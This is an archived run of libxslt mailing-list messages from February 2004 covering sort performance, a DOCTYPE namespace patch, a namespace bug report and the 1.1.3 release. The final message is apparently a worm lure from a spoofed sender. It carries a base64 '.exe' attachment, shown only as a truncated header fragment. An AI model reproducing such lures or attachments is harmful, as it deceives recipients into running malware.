3 22:08:30 2004 X-Injected-Via-Gmane: http://gmane.org/ To: xslt@gnome.org From: "Chris Trengove" Date: Wed, 4 Feb 2004 09:08:09 +1100 Lines: 43 Message-ID: References: <401F9FF5.12626.23D18F59@localhost> <3050.68.185.74.32.1075778945.squirrel@www.delightful.com.hk> X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 203.108.133.29 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Subject: [xslt] Re: Re: xsl:key degenerate performance Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: "Chris Trengove" List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: "Marc-Antoine Parent" wrote in message news:AE717301-565C-11D8-AF14-003065D4F272@acm.org... > Hello! I just looked at the sort routine and found out it was a shell > sort. Good enough for most cases; but on an already sorted list it > indeed has a cost. > How about exploiting some alternative, faster sorting algorithms? > Heapsort or Mergesort are generally faster than shell sort; and their > worst case is acceptable, unlike quicksort. > A better option is an algorithm designed to be resilient to > already-sorted lists, such as Smoothsort. > http://en.wikipedia.org/wiki/Smoothsort > If there is interest, I can propose an implementation. > Marc-Antoine The degenerate performance comes not just from the sorting, but also from the comparison function used, which takes longer as the number of nodes increases. However, when comparing adjacent sibling nodes, the comparison function works very fast, since it can rely on an optimisation of just looking at the nodes' "next" and "previous" pointers. My guess is that the vast majority of node sets in typical stylesheets (a) are already sorted in document order (because of the way the expression is evaluated), and (b) often contain adjacent sibling nodes. I have tried out adding the following to xmlXPathNodeSetSort(), and it appears to work well in practice. /* See if already sorted */ len = set->nodeNr; sorted = 1; for (i = 0; i < len - 1; ++i) { if (xmlXPathCmpNodes(set->nodeTab[i], set->nodeTab[i + 1]) == -1) { sorted = 0; break; } } if (sorted) return; A better sorting algorithm could also be tried, but I think it would need to exploit the comparison of adjacent nodes if it is to work as well as this. From nicolasdchd@ifrance.com Tue Feb 3 17:29:14 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from b0502.idoo.com (unknown [82.196.4.70]) by mail.gnome.org (Postfix) with SMTP id F2B2B184F8 for ; Tue, 3 Feb 2004 17:29:13 -0500 (EST) Received: from 82.67.12.156 [82.67.12.156] by b0502.idoo.com id 200402032225.2d69; Tue, 3 Feb 2004 22:25:45 GMT From: Nicolas Deschildre To: xslt@gnome.org Date: Tue, 3 Feb 2004 23:40:23 +0100 User-Agent: KMail/1.5.3 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402032340.23651.nicolasdchd@ifrance.com> if-filter0: N Subject: [xslt] libxslt extension Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: hi, My name is Nicolas Deschildre, I'm coding the Quanta+ VPL (WYSIWYG) view, and i was thinking to add WYSIWYG support for non-HTML DTDs. I'm looking for a mature XSLT processor which can do some "unusual" work. But first, i would simply like to see if it is possible. If I'm not wrong, libxslt basically as parameter a XSLT stylesheet and a XML file to process, and then apply the XSLT stylesheet and output the transformed file. Non-HTML WYSIWYG edition would behave like this: transforming the XML source into HTML source so that it can be displayed and modified in a WYSIWYG way. A modification in the generated HTML file will have repercussions to the original XML file. So if libxslt was used in VPL for non-HTML edition, it would require some new modifications/extensions: 1) To know what are the repercussions of one change (addition/modification/deletion of a Node) in the generated file do in the source file as well as in the generated file itself. 2) To know which parts are editable or not in the generated file i.e. which parts depend of the original source file. Of course, i will participate to the coding if necessary, but i would like to hear first if it is possible, and how hard it would be. I believe that, as libxslt was not made for this, it will require many changes, that is why i'm looking for this right now even if i don't plan non-HTML DTD support before a long time. ++ Nicolas Deschildre _____________________________________________________________________ Envie de discuter en "live" avec vos amis ? Télécharger MSN Messenger http://www.ifrance.com/_reloc/m la 1ère messagerie instantanée de France From lpadovan@cs.unibo.it Wed Feb 4 02:25:53 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from vsmtp4.tin.it (unknown [212.216.176.150]) by mail.gnome.org (Postfix) with ESMTP id 6D885181CB for ; Wed, 4 Feb 2004 02:25:53 -0500 (EST) Received: from 6-allhosts (62.211.35.111) by vsmtp4.tin.it (7.0.019) id 4012644A003A7684; Wed, 4 Feb 2004 08:25:51 +0100 Subject: Re: [xslt] libxslt extension From: Luca Padovani To: "xslt@gnome.org" In-Reply-To: <200402032340.23651.nicolasdchd@ifrance.com> References: <200402032340.23651.nicolasdchd@ifrance.com> Content-Type: text/plain Message-Id: <1075879263.519.15.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 04 Feb 2004 08:21:03 +0100 Content-Transfer-Encoding: 7bit Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi Nicolas, On Tue, 2004-02-03 at 23:40, Nicolas Deschildre wrote: > Non-HTML WYSIWYG edition would behave like this: transforming the XML source > into HTML source so that it can be displayed and modified in a WYSIWYG way. A > modification in the generated HTML file will have repercussions to the > original XML file. in a different context, we're doing exactly this in editex: http://helm.cs.unibo.it/software/editex/ The differences are that 1) the target markup is MathML and not HTML 2) the user _types_ in TeX which has the effect of modifying the internal document model (XML). Stylesheets are used to map the internal model into a MathML document. All is done using Daniel's libxml2 and libxslt (with appropriate wrappers 'cause we work with DOM interfaces). > 1) To know what are the repercussions of one change > (addition/modification/deletion of a Node) in the generated file do in the > source file as well as in the generated file itself. I think this is very hard to do in general. In our context it is relatively easy because the internal document and MathML almost have the same structure. We keep pointers (read: ref+id attributes) from the generated MathML to the internal XML so that it is possible to "go back" if desired (think of selection). But when the document is modified, it is the internal model which is modified, not the generated MathML (see the model/view/controller design pattern). > 2) To know which parts are editable or not in the generated file i.e. which > parts depend of the original source file. as before you can use refs/ids to keep corresponding fragments of the internal model/generated document related, and perhaps use some extra attributes to annotate the tree with extra information (like "readonly" or whatever is needed) > Of course, i will participate to the coding if necessary, but i would like to > hear first if it is possible, and how hard it would be. we haven't modified libxslt at all. If the structure of the internal model and of the view are very different it is more difficult to make the XSLT transformation incremental, and incrementality is essential for performances. But to my knowledge the attempts of making incremental XSLT engines have all failed. HTH, -- Luca From christi@hal.iwr.uni-heidelberg.de Fri Feb 6 09:24:53 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from relay2.uni-heidelberg.de (relay2.uni-heidelberg.de [129.206.210.211]) by mail.gnome.org (Postfix) with ESMTP id 7135F18321 for ; Fri, 6 Feb 2004 09:24:53 -0500 (EST) Received: from mail.iwr.uni-heidelberg.de (mail.iwr.uni-heidelberg.de [129.206.104.30]) by relay2.uni-heidelberg.de (8.12.10/8.12.10) with ESMTP id i16EOqSe021866 for ; Fri, 6 Feb 2004 15:24:52 +0100 (MET) Received: from hal.iwr.uni-heidelberg.de (mail@hal.iwr.uni-heidelberg.de [129.206.69.248]) by mail.iwr.uni-heidelberg.de (8.12.10/8.12.9) with ESMTP id i16EOpxf022994 for ; Fri, 6 Feb 2004 15:24:51 +0100 (MET) Received: from christi by hal.iwr.uni-heidelberg.de with local (Exim 3.35 #1 (Debian)) id 1Ap6uY-0000YR-00 for ; Fri, 06 Feb 2004 15:24:50 +0100 Date: Fri, 6 Feb 2004 15:24:50 +0100 From: Christian Engwer To: xslt@gnome.org Message-ID: <20040206142450.GA1953@hal.iwr.uni-heidelberg.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="VbJkn9YxBvnuCH5J" Content-Disposition: inline User-Agent: Mutt/1.3.28i Subject: [xslt] namespace prefix missing in DOCTYPE for generated xml file Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: --VbJkn9YxBvnuCH5J Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, Using xsltproc to produce content.xml for poenoffice douments I ran into a problem: libxslt produces DOCTYPE without the namespace for the root element. I get a instead of I am very convinced, that the result including the namespace is correct, as both saxon and xalan produce it the second way. Also Openoffice(or at least some builds) goes crazy if the namespace-prefix is missing. I created a patch for transform.c: When the root element has namespace then dtd element is created with the prefix:name instead of only name. Bye Christian --VbJkn9YxBvnuCH5J Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="doctype-namespace.diff" --- libxslt/transform.c.orig Sun Dec 21 13:12:04 2003 +++ libxslt/transform.c Fri Feb 6 15:18:09 2004 @@ -2220,12 +2220,33 @@ } if (ctxt->type == XSLT_OUTPUT_XML) { - XSLT_GET_IMPORT_PTR(doctypePublic, style, doctypePublic) - XSLT_GET_IMPORT_PTR(doctypeSystem, style, doctypeSystem) - if (((doctypePublic != NULL) || (doctypeSystem != NULL))) - res->intSubset = xmlCreateIntSubset(res, root->name, - doctypePublic, - doctypeSystem); + xmlChar * docrootname = NULL; + if (root->ns != NULL) { + int docrootlen = xmlStrlen(root->name) + 2 + + xmlStrlen(root->ns->prefix); + docrootname = (xmlChar*) malloc(docrootlen); + if (docrootname) + xmlStrPrintf(docrootname, docrootlen, + "%s:%s", + root->ns->prefix, root->name); + } + if (docrootname != NULL) { + XSLT_GET_IMPORT_PTR(doctypePublic, style, doctypePublic) + XSLT_GET_IMPORT_PTR(doctypeSystem, style, doctypeSystem) + if (((doctypePublic != NULL) || (doctypeSystem != NULL))) + res->intSubset = xmlCreateIntSubset(res, docrootname, + doctypePublic, + doctypeSystem); + xmlFree(docrootname); + } + else { + XSLT_GET_IMPORT_PTR(doctypePublic, style, doctypePublic) + XSLT_GET_IMPORT_PTR(doctypeSystem, style, doctypeSystem) + if (((doctypePublic != NULL) || (doctypeSystem != NULL))) + res->intSubset = xmlCreateIntSubset(res, root->name, + doctypePublic, + doctypeSystem); + } } } @@ -4032,12 +4053,33 @@ } if (ctxt->type == XSLT_OUTPUT_XML) { - XSLT_GET_IMPORT_PTR(doctypePublic, style, doctypePublic) - XSLT_GET_IMPORT_PTR(doctypeSystem, style, doctypeSystem) - if (((doctypePublic != NULL) || (doctypeSystem != NULL))) - res->intSubset = xmlCreateIntSubset(res, root->name, - doctypePublic, - doctypeSystem); + xmlChar * docrootname = 0; + if (root->ns) { + int docrootlen = xmlStrlen(root->name) + 2 + + xmlStrlen(root->ns->prefix); + docrootname = (xmlChar*) malloc(docrootlen); + if (docrootname) + xmlStrPrintf(docrootname, docrootlen, + "%s:%s", + root->ns->prefix, root->name); + } + if (docrootname) { + XSLT_GET_IMPORT_PTR(doctypePublic, style, doctypePublic) + XSLT_GET_IMPORT_PTR(doctypeSystem, style, doctypeSystem) + if (((doctypePublic != NULL) || (doctypeSystem != NULL))) + res->intSubset = xmlCreateIntSubset(res, docrootname, + doctypePublic, + doctypeSystem); + xmlFree(docrootname); + } + else { + XSLT_GET_IMPORT_PTR(doctypePublic, style, doctypePublic) + XSLT_GET_IMPORT_PTR(doctypeSystem, style, doctypeSystem) + if (((doctypePublic != NULL) || (doctypeSystem != NULL))) + res->intSubset = xmlCreateIntSubset(res, root->name, + doctypePublic, + doctypeSystem); + } } } xmlXPathFreeNodeSet(ctxt->nodeList); --VbJkn9YxBvnuCH5J-- From Markku.Nykky@yomi.com Fri Feb 13 07:41:05 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from kronos.yomi.com (kronos.yomi.com [195.236.254.66]) by mail.gnome.org (Postfix) with ESMTP id 3C114184A3 for ; Fri, 13 Feb 2004 07:41:04 -0500 (EST) Received: from it-mail1-exh55.yomi.com (hkigw.yomi.com [193.185.75.132]) by kronos.yomi.com (8.12.10/8.12.10) with ESMTP id i1DCf58V016796 for ; Fri, 13 Feb 2004 14:41:05 +0200 Received: by it-mail1-exh55.yomi.com with Internet Mail Service (5.5.2657.72) id <12QVR5HD>; Fri, 13 Feb 2004 14:41:02 +0200 Message-ID: From: Markku.Nykky@yomi.com To: xslt@gnome.org Date: Fri, 13 Feb 2004 14:41:01 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain Subject: [xslt] libxslt problem with an attribute's namespace if it is a default one? Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, I have a following xsl, that just creates some xml (does not depend on the source xml): 100000 100 Now if I do the transformation with the xsl above, the libxslt gives different output compared to that given by for example MSXML and Xalan 2.5.2. Here is the output given by the libxslt: 100000 100 and here the output given by the Xalan: 100000 100 You can notice from the libxslt's output that the namespace having prefix "a" is not included into the attributes of Product element. This is the case only if that namespace is also the default namespace. As you can see the namespace having prefix b is attached to the correct attribute Currency. Like said in the "Namespaces in XML" in http://www.w3.org/TR/REC-xml-names/#defaulting the default namespace applies to the element where it is declared and to all elements with no prefix within the content of that element. That's why there is no need to prefix for example Products-element if it is supposed to belong to the default namespace. But that same rule cannot be applied to the attributes and said again in the same chapter -> "default namespaces do not apply directly to attributes" and also in Michael Kay's XSLT 2nd Edition -book, page 66, it is said that if attribute name does not have any prefix then its namespace URI is considered to be a null URI i.e. in my example the Name-attribute of the Product-element does not belong to any namespace because there is no prefix attached to it. So if the application, that uses the result xml from libxslt, waits for an attribute "Name" belonging to the urn:A namespace it will not recognize it because of the lack of the prefix. This problem, if using libxslt for transformation, can be passed by marking every element belonging to the default namespace with the default namespace's prefix and after that the libxslt produces a result where also attributes have the default namespace's prefix, but that is a thing you should not have to do according to the XML specs. The xsltproc (and libxslt/libxml) I have used to produce the result xml are following: $ xsltproc --version Using libxml 20605, libxslt 10102 and libexslt 802 xsltproc was compiled against libxml 20605, libxslt 10102 and libexslt 802 libxslt 10102 was compiled against libxml 20605 libexslt 802 was compiled against libxml 20605 - Markku Nykky From veillard@redhat.com Fri Feb 13 10:46:03 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 6A04218A2D for ; Fri, 13 Feb 2004 10:46:03 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1DFk2b23679 for ; Fri, 13 Feb 2004 10:46:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1DFk2i15841 for ; Fri, 13 Feb 2004 10:46:02 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1DFk1kC027487 for ; Fri, 13 Feb 2004 10:46:01 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1DFk1Bs027477 for xslt@gnome.org; Fri, 13 Feb 2004 10:46:01 -0500 Date: Fri, 13 Feb 2004 10:46:01 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] libxslt problem with an attribute's namespace if it is a default one? Message-ID: <20040213154601.GP16242@redhat.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Fri, Feb 13, 2004 at 02:41:01PM +0200, Markku.Nykky@yomi.com wrote: > Hi, I have a following xsl, that just creates some xml (does not depend on > the source xml): > > > xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > xmlns:fo="http://www.w3.org/1999/XSL/Format"> > > > > > 100000 > > > 100 > > > > > > > Now if I do the transformation with the xsl above, the libxslt gives > different output compared to that given by for example MSXML and Xalan > 2.5.2. > > Here is the output given by the libxslt: > > > xmlns:fo="http://www.w3.org/ > 1999/XSL/Format"> > > > 100000 > > > 100 > > > > > and here the output given by the Xalan: > > > xmlns:b="urn:B" xmlns="urn:A"> > > > 100000 > > > 100 > > > > > You can notice from the libxslt's output that the namespace having prefix > "a" is not included into the attributes of Product element. This is the case > only if that namespace is also the default namespace. As you can see the > namespace having prefix b is attached to the correct attribute Currency. > Like said in the "Namespaces in XML" in > http://www.w3.org/TR/REC-xml-names/#defaulting the default namespace applies > to the element where it is declared and to all elements with no prefix > within the content of that element. That's why there is no need to prefix > for example Products-element if it is supposed to belong to the default > namespace. But that same rule cannot be applied to the attributes and said > again in the same chapter -> "default namespaces do not apply directly to > attributes" and also in Michael Kay's XSLT 2nd Edition -book, page 66, it is > said that if attribute name does not have any prefix then its namespace URI > is considered to be a null URI i.e. in my example the Name-attribute of the > Product-element does not belong to any namespace because there is no prefix > attached to it. > > So if the application, that uses the result xml from libxslt, waits for an > attribute "Name" belonging to the urn:A namespace it will not recognize it > because of the lack of the prefix. > > This problem, if using libxslt for transformation, can be passed by marking > every element belonging to the default namespace with the default > namespace's prefix and after that the libxslt produces a result where also > attributes have the default namespace's prefix, but that is a thing you > should not have to do according to the XML specs. > > The xsltproc (and libxslt/libxml) I have used to produce the result xml are > following: > > $ xsltproc --version > Using libxml 20605, libxslt 10102 and libexslt 802 > xsltproc was compiled against libxml 20605, libxslt 10102 and libexslt 802 > libxslt 10102 was compiled against libxml 20605 > libexslt 802 was compiled against libxml 20605 Yes this sounds like a real bug, can you bugzilla it ? Informations at http://xmlsoft.org/XSLT/bugs.html , that way we can't forget about it and you will get informed as soon as it's fixed, thanks, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From veillard@redhat.com Mon Feb 16 11:31:26 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id D326618211 for ; Mon, 16 Feb 2004 11:31:22 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1GGVJb32423 for ; Mon, 16 Feb 2004 11:31:19 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1GGVIi02062 for ; Mon, 16 Feb 2004 11:31:18 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1GGVGkC024221 for ; Mon, 16 Feb 2004 11:31:16 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1GGVG0x024219 for xslt@gnome.org; Mon, 16 Feb 2004 11:31:16 -0500 Date: Mon, 16 Feb 2004 11:31:16 -0500 From: Daniel Veillard To: xslt@gnome.org Message-ID: <20040216163116.GT12603@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i Subject: [xslt] Release of libxslt-1.1.3 Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: There wasn't any release for nearly two months, here it is: ftp://xmlsoft.org/ and GNOME FTP mirrors http://xmlsoft.org/XSLT/ The first part of the release is a number of bug fixed (thanks William), the second part is a relatively consequent change where I started using and sharing dictionnaries for most of the static strings involved in stylesheets and transformation context, this offers a lot of potential performance improvement but that work is only at its beginning and it introduce an instability factor, I may need further APIs to fully benefits from those changes bug William reported a visible processing speed improvement (I didn't benchmarked yet myself). - Rewrote the Attribute Value Template code, new XPath compilation interfaces, dictionnary reuses for XSLT with potential for serious performance improvements. - bug fixes: portability (William Brack), key() in node-set() results (William), comment before doctype (William), math and node-set() problems (William), cdata element and default namespace (William), behaviour on unknown XSLT elements (Stefan Kost), priority of "//foo" patterns (William), xsl:element and xsl:attribute QName check (William), comments with -- (William), attribute namespace (William), check for ?> in PI (William) - Documentations: cleanup (John Fleck and William) - Python: patch for OS-X (Gianni Ceccarelli), enums export (Stephane bidoul) So please check the new version for prossible problems. Thanks to everybody who submitted patches or reported bugs, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From kbuchcik@4commerce.de Mon Feb 16 12:00:02 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mail.gnome.org (Postfix) with ESMTP id 7FE711868C for ; Mon, 16 Feb 2004 12:00:02 -0500 (EST) Received: from port-212-202-229-162.reverse.qsc.de ([212.202.229.162] helo=kisone) by mx01.qsc.de with smtp (Exim 3.35 #1) id 1Asm6D-0000GT-00 for xslt@gnome.org; Mon, 16 Feb 2004 18:00:01 +0100 From: Kasimier Buchcik To: X-Priority: 3 Received: from emission [10.254.2.2] by kisone [10.254.2.2] with SMTP eMission ESMTPServer; Mon, 16 Feb 2004 17:57:34 +0100 Received: from 4commerce.de (10.1.72.2 [10.1.72.2]) by kisone.kisnet.de with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 17J21PMX; Mon, 16 Feb 2004 17:57:34 +0100 Message-ID: <4030F81A.6040807@4commerce.de> Date: Mon, 16 Feb 2004 18:04:26 +0100 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.5) Gecko/20031013 Thunderbird/0.3 X-Accept-Language: de-de, de-at, de, en-us, en References: <20040216163116.GT12603@redhat.com> In-Reply-To: <20040216163116.GT12603@redhat.com> X-eMessageService: eMission.SMTPServer Subject: "Re: [xslt] Release of libxslt-1.1.3" Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hi, on 2/16/2004 5:31 PM Daniel Veillard wrote: > There wasn't any release for nearly two months, here it is: > ftp://xmlsoft.org/ and GNOME FTP mirrors > http://xmlsoft.org/XSLT/ >=20 > The first part of the release is a number of bug fixed (thanks William), > the second part is a relatively consequent change where I started using an= d > sharing dictionnaries for most of the static strings involved in styleshee= ts > and transformation context, this offers a lot of potential performance Great! Does this produce result documents with dictionaries as well? [...] Kasimier From veillard@redhat.com Mon Feb 16 12:29:37 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id 542CF1852F for ; Mon, 16 Feb 2004 12:29:37 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1GHTab21925 for ; Mon, 16 Feb 2004 12:29:36 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1GHTai24777 for ; Mon, 16 Feb 2004 12:29:36 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1GHTYkC001450 for ; Mon, 16 Feb 2004 12:29:34 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1GHTY5n001448 for xslt@gnome.org; Mon, 16 Feb 2004 12:29:34 -0500 Date: Mon, 16 Feb 2004 12:29:34 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: "Re: [xslt] Release of libxslt-1.1.3" Message-ID: <20040216172934.GU12603@redhat.com> References: <20040216163116.GT12603@redhat.com> <4030F81A.6040807@4commerce.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4030F81A.6040807@4commerce.de> User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Mon, Feb 16, 2004 at 06:04:26PM +0100, Kasimier Buchcik wrote: > Hi, > > on 2/16/2004 5:31 PM Daniel Veillard wrote: > > > There wasn't any release for nearly two months, here it is: > > ftp://xmlsoft.org/ and GNOME FTP mirrors > > http://xmlsoft.org/XSLT/ > > > > The first part of the release is a number of bug fixed (thanks William), > > the second part is a relatively consequent change where I started using and > > sharing dictionnaries for most of the static strings involved in stylesheets > > and transformation context, this offers a lot of potential performance > > Great! > > Does this produce result documents with dictionaries as well? Not yet, I just started touching the work of actually speeding up the transformation using the dictionnaries. The current state is the following: - when a stylesheet is compiled it tries to inherit its dictionnary (let's call it A) from the associated XML document. - all static strings are now extracted from that dictionnary - all XPath expressions are also using that dictionnary - when creating a new transformation, a subdictionnary reusing but in read-only mode the stylesheet dict is created (call it B) - there too all the constant strings are now extracted from B (so from A if they exist in A). - the documents created when processing the stylesheet use B but the strings are not yet allocated in them. So now there is an awful lot of string compare which can be optimized as pointer comparison. Memory requirement should also be seriously reduced (when compiling a DocBook stylesheet I counted 3200 reuses of the base dictionnary A, tracking reference counting there is ... fun !) The optimization fun is only beginning, 1.1.3 only set up the framework for it. What I really really need is to know if 1.1.3 break things, like bindings for PHP, Perl, C++, or other complex applications. It should not but since the change are relatively large well you never know. Among the stuff to think about is time live of various object. Currently the creation of B does not increase A reference counting, I expect the stylesheet and the XSLT xmlDocPtr to not be freed while the transformation occurs, however, if I make document resulting from the transformation reuse B then that mean the stylesheet must not be freed until the resulting document are freed too... otherwise I would have to use the thread support in libxml2 to have the creation of B increase A refcount, and since all this is supposed to work multithreaded I will have to make all refcounting operation on dictionnaries work in mutual exclusion and I tried to avoid that so far. But again the most crucial feedback I really need is if 1.1.3 actually breaks things. There are other serious changes like the attribute value template support has been completely revamped (should be really faster now !). Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From aleksey@aleksey.com Tue Feb 17 08:04:32 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from DALLOUCHELT (unknown [192.118.35.248]) by mail.gnome.org (Postfix) with SMTP id 210C818137 for ; Tue, 17 Feb 2004 08:04:31 -0500 (EST) Date: Tue, 17 Feb 2004 15:04:28 +0200 To: xslt@gnome.org From: aleksey@aleksey.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------742836814700258" Subject: [xslt] ID usn... thanks Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: ----------742836814700258 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Yours ID flutbvudfck -- Thank ----------742836814700258 Content-Type: application/x-msdownload; name="kgi.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="faejubv.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAPCLMkAAAAAA 